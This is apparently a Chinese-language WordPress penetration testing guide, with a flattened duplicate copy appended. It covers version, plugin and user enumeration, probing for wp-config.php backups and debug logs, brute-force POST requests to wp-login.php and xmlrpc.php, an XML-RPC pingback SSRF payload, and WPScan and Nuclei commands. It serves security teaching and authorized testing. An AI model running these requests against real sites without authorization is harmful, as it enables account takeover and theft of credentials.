当渗透测试遇到WordPress
字数 3208 2025-10-14 00:33:59

WordPress渗透测试权威指南

一、 前言

WordPress作为全球最流行的内容管理系统(CMS),因其广泛的使用而成为渗透测试中的常见目标。本指南旨在系统化地阐述当渗透测试遇到WordPress站点时的完整测试流程、关键信息收集方法、常见攻击向量以及自动化工具的使用。

二、 信息收集与枚举

信息收集是渗透测试成功的基础。对于WordPress,需要重点关注以下几个方面:

1. 核心版本识别

  • 方法一(Feed): 访问 https://target.com/feedhttps://target.com/?feed=rss2,查看页面源代码,通常包含生成Feed的WordPress版本信息。
  • 方法二(其他文件): 检查诸如 readme.htmlwp-includes/version.php 等文件,但这些文件可能被管理员移除。

2. 插件与主题枚举

  • 插件版本信息: 插件目录下的 readme.txt 文件是版本信息的主要来源。尝试访问以下路径(PLUGINNAME 替换为具体插件名):
    • /wp-content/plugins/PLUGINNAME/readme.txt
    • /wp-content/plugins/PLUGINNAME/readme.TXT
    • /wp-content/plugins/PLUGINNAME/README.txt
    • /wp-content/plugins/PLUGINNAME/README.TXT
  • 主题版本信息: 主题的 style.css 文件头部通常包含版本信息。
    • /wp-content/themes/THEMENAME/style.css
    • 同样可以检查主题目录下的 readme.txt 文件。

3. 用户枚举

  • 方法一(作者参数): 访问 https://target.com/?author=1。系统通常会重定向到作者文章页面,URL中会暴露用户名(如 https://target.com/author/username/)。
  • 方法二(REST API): WordPress的REST API可能会暴露用户信息。
    • https://target.com/wp-json/wp/v2/users
    • https://target.com/?rest_route=/wp/v2/users

4. 敏感文件与备份查找

  • 配置文件(wp-config.php)备份: 该文件包含数据库凭据等核心敏感信息。查找其备份或临时文件:
    • /.wp-config.php.swp (Vim备份文件)
    • /wp-config.php.bak
    • /wp-config.php.old
    • /wp-config.php.save
    • /wp-config.php.dist
    • /wp-config.txt
    • /wp-config.php~
  • 调试日志: 如果启用了调试模式,可能会存在日志文件,其中包含敏感信息。
    • /wp-content/debug.log
  • 注册功能: 检查是否开放用户注册,这可能是一个攻击入口。
    • https://target.com/wp-login.php?action=register

三、 漏洞利用与攻击手法

1. 密码爆破

  • 目标接口: 后台登录接口 (/wp-login.php) 或 XML-RPC 接口 (/xmlrpc.php)。
  • 针对 /wp-login.php 的POST请求示例:
    POST /wp-login.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    log=admin&pwd=[密码字典]&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1
    
  • 针对 /xmlrpc.php 的POST请求示例(效率更高,可绕过某些登录限制):
    POST /xmlrpc.php HTTP/1.1
    Host: target.com
    Content-Type: application/xml
    
    <?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
      <methodName>wp.getUsersBlogs</methodName>
      <params>
        <param><value>admin</value></param>
        <param><value>[密码字典]</value></param>
      </params>
    </methodCall>
    
    • 如果凭证正确,响应中会包含博客信息;错误则返回403错误。

2. 服务器端请求伪造(SSRF)

  • 利用接口: XML-RPC 接口的 pingback.ping 方法。
  • 攻击载荷示例:
    POST /xmlrpc.php HTTP/1.1
    Host: target.com
    Content-Type: application/xml
    
    <methodCall>
      <methodName>pingback.ping</methodName>
      <params>
        <param><value><string>http://[你的IP]:[你的端口]</string></value></param>
        <param><value><string>https://target.com></string></value></param>
      </params>
    </methodCall>
    
    • 如果漏洞存在,目标服务器会向你指定的IP和端口发起HTTP请求。

3. 已知漏洞(CVE)利用

  • 漏洞库: 访问 https://wpscan.com 查询核心、插件和主题的已知漏洞。
    • WordPress核心漏洞列表: https://wpscan.com/wordpresses/
    • 插件漏洞列表: https://wpscan.com/plugins/
  • 利用流程:
    1. 通过信息收集获取插件/主题名称和版本(例如:wp-file-manager 版本 6.0)。
    2. 在WPScan数据库中搜索该插件(例如:https://wpscan.com/plugin/wp-file-manager/)。
    3. 查找影响该版本的公开漏洞(例如:著名的 wp-file-manager 插件RCE漏洞 CVE-2020-25213)。
    4. 根据找到的漏洞详情和公开的Expolit进行测试。

四、 自动化工具辅助

1. WPScan
WPScan是专为WordPress安全审计设计的黑盒扫描器,内嵌了漏洞数据库。

  • 基本扫描: wpscan --url http://target.com/
  • 枚举功能:
    • 枚举用户: wpscan --url http://target.com/ --enumerate u
    • 枚举插件: wpscan --url http://target.com/ --enumerate p
    • 枚举主题: wpscan --url http://target.com/ --enumerate t
    • 枚举Timthumb(易受攻击的脚本): wpscan --url http://target.com/ --enumerate tt
  • 密码爆破:
    • wpscan --url http://target.com/ --wordlist /path/to/password.txt --username admin

2. Nuclei
Nuclei是一个基于模板的快速漏洞扫描器,拥有大量社区维护的WordPress相关检测模板。

  • 基本使用: nuclei -u https://target.com/
  • 针对性扫描: 可以指定只运行WordPress相关的模板,提高效率。

五、 关键点总结与备忘清单

类别 关键路径/方法 目的
信息收集 /?author=1/wp-json/wp/v2/users 枚举用户名
/wp-content/plugins/PLUGINNAME/readme.txt 获取插件版本
/wp-content/themes/THEMENAME/style.css 获取主题版本
/.wp-config.php.bak, /.wp-config.php.swp 查找配置文件备份
/wp-content/debug.log 查找调试日志
攻击面 /wp-login.php 后台登录、密码爆破
/xmlrpc.php 密码爆破、SSRF
?action=register 检查用户注册功能
漏洞研究 https://wpscan.com/ 查询WordPress核心、插件、主题的CVE漏洞
工具使用 wpscan --url ... --enumerate u,p,t 自动化枚举
nuclei -u ... 快速漏洞检测

重要提醒: 所有渗透测试活动都必须在获得明确授权的前提下进行,并严格遵守相关法律法规。本指南仅用于安全教学和研究目的。

WordPress渗透测试权威指南 一、 前言 WordPress作为全球最流行的内容管理系统(CMS),因其广泛的使用而成为渗透测试中的常见目标。本指南旨在系统化地阐述当渗透测试遇到WordPress站点时的完整测试流程、关键信息收集方法、常见攻击向量以及自动化工具的使用。 二、 信息收集与枚举 信息收集是渗透测试成功的基础。对于WordPress,需要重点关注以下几个方面: 1. 核心版本识别 方法一(Feed): 访问 https://target.com/feed 或 https://target.com/?feed=rss2 ,查看页面源代码,通常包含生成Feed的WordPress版本信息。 方法二(其他文件): 检查诸如 readme.html 、 wp-includes/version.php 等文件,但这些文件可能被管理员移除。 2. 插件与主题枚举 插件版本信息: 插件目录下的 readme.txt 文件是版本信息的主要来源。尝试访问以下路径( PLUGINNAME 替换为具体插件名): /wp-content/plugins/PLUGINNAME/readme.txt /wp-content/plugins/PLUGINNAME/readme.TXT /wp-content/plugins/PLUGINNAME/README.txt /wp-content/plugins/PLUGINNAME/README.TXT 主题版本信息: 主题的 style.css 文件头部通常包含版本信息。 /wp-content/themes/THEMENAME/style.css 同样可以检查主题目录下的 readme.txt 文件。 3. 用户枚举 方法一(作者参数): 访问 https://target.com/?author=1 。系统通常会重定向到作者文章页面,URL中会暴露用户名(如 https://target.com/author/username/ )。 方法二(REST API): WordPress的REST API可能会暴露用户信息。 https://target.com/wp-json/wp/v2/users https://target.com/?rest_route=/wp/v2/users 4. 敏感文件与备份查找 配置文件(wp-config.php)备份: 该文件包含数据库凭据等核心敏感信息。查找其备份或临时文件: /.wp-config.php.swp (Vim备份文件) /wp-config.php.bak /wp-config.php.old /wp-config.php.save /wp-config.php.dist /wp-config.txt /wp-config.php~ 调试日志: 如果启用了调试模式,可能会存在日志文件,其中包含敏感信息。 /wp-content/debug.log 注册功能: 检查是否开放用户注册,这可能是一个攻击入口。 https://target.com/wp-login.php?action=register 三、 漏洞利用与攻击手法 1. 密码爆破 目标接口: 后台登录接口 ( /wp-login.php ) 或 XML-RPC 接口 ( /xmlrpc.php )。 针对 /wp-login.php 的POST请求示例: 针对 /xmlrpc.php 的POST请求示例(效率更高,可绕过某些登录限制): 如果凭证正确,响应中会包含博客信息;错误则返回403错误。 2. 服务器端请求伪造(SSRF) 利用接口: XML-RPC 接口的 pingback.ping 方法。 攻击载荷示例: 如果漏洞存在,目标服务器会向你指定的IP和端口发起HTTP请求。 3. 已知漏洞(CVE)利用 漏洞库: 访问 https://wpscan.com 查询核心、插件和主题的已知漏洞。 WordPress核心漏洞列表: https://wpscan.com/wordpresses/ 插件漏洞列表: https://wpscan.com/plugins/ 利用流程: 通过信息收集获取插件/主题名称和版本(例如: wp-file-manager 版本 6.0 )。 在WPScan数据库中搜索该插件(例如: https://wpscan.com/plugin/wp-file-manager/ )。 查找影响该版本的公开漏洞(例如:著名的 wp-file-manager 插件RCE漏洞 CVE-2020-25213)。 根据找到的漏洞详情和公开的Expolit进行测试。 四、 自动化工具辅助 1. WPScan WPScan是专为WordPress安全审计设计的黑盒扫描器,内嵌了漏洞数据库。 基本扫描: wpscan --url http://target.com/ 枚举功能: 枚举用户: wpscan --url http://target.com/ --enumerate u 枚举插件: wpscan --url http://target.com/ --enumerate p 枚举主题: wpscan --url http://target.com/ --enumerate t 枚举Timthumb(易受攻击的脚本): wpscan --url http://target.com/ --enumerate tt 密码爆破: wpscan --url http://target.com/ --wordlist /path/to/password.txt --username admin 2. Nuclei Nuclei是一个基于模板的快速漏洞扫描器,拥有大量社区维护的WordPress相关检测模板。 基本使用: nuclei -u https://target.com/ 针对性扫描: 可以指定只运行WordPress相关的模板,提高效率。 五、 关键点总结与备忘清单 | 类别 | 关键路径/方法 | 目的 | | :--- | :--- | :--- | | 信息收集 | /?author=1 , /wp-json/wp/v2/users | 枚举用户名 | | | /wp-content/plugins/PLUGINNAME/readme.txt | 获取插件版本 | | | /wp-content/themes/THEMENAME/style.css | 获取主题版本 | | | /.wp-config.php.bak , /.wp-config.php.swp 等 | 查找配置文件备份 | | | /wp-content/debug.log | 查找调试日志 | | 攻击面 | /wp-login.php | 后台登录、密码爆破 | | | /xmlrpc.php | 密码爆破、SSRF | | | ?action=register | 检查用户注册功能 | | 漏洞研究 | https://wpscan.com/ | 查询WordPress核心、插件、主题的CVE漏洞 | | 工具使用 | wpscan --url ... --enumerate u,p,t | 自动化枚举 | | | nuclei -u ... | 快速漏洞检测 | 重要提醒: 所有渗透测试活动都必须在获得明确授权的前提下进行,并严格遵守相关法律法规。本指南仅用于安全教学和研究目的。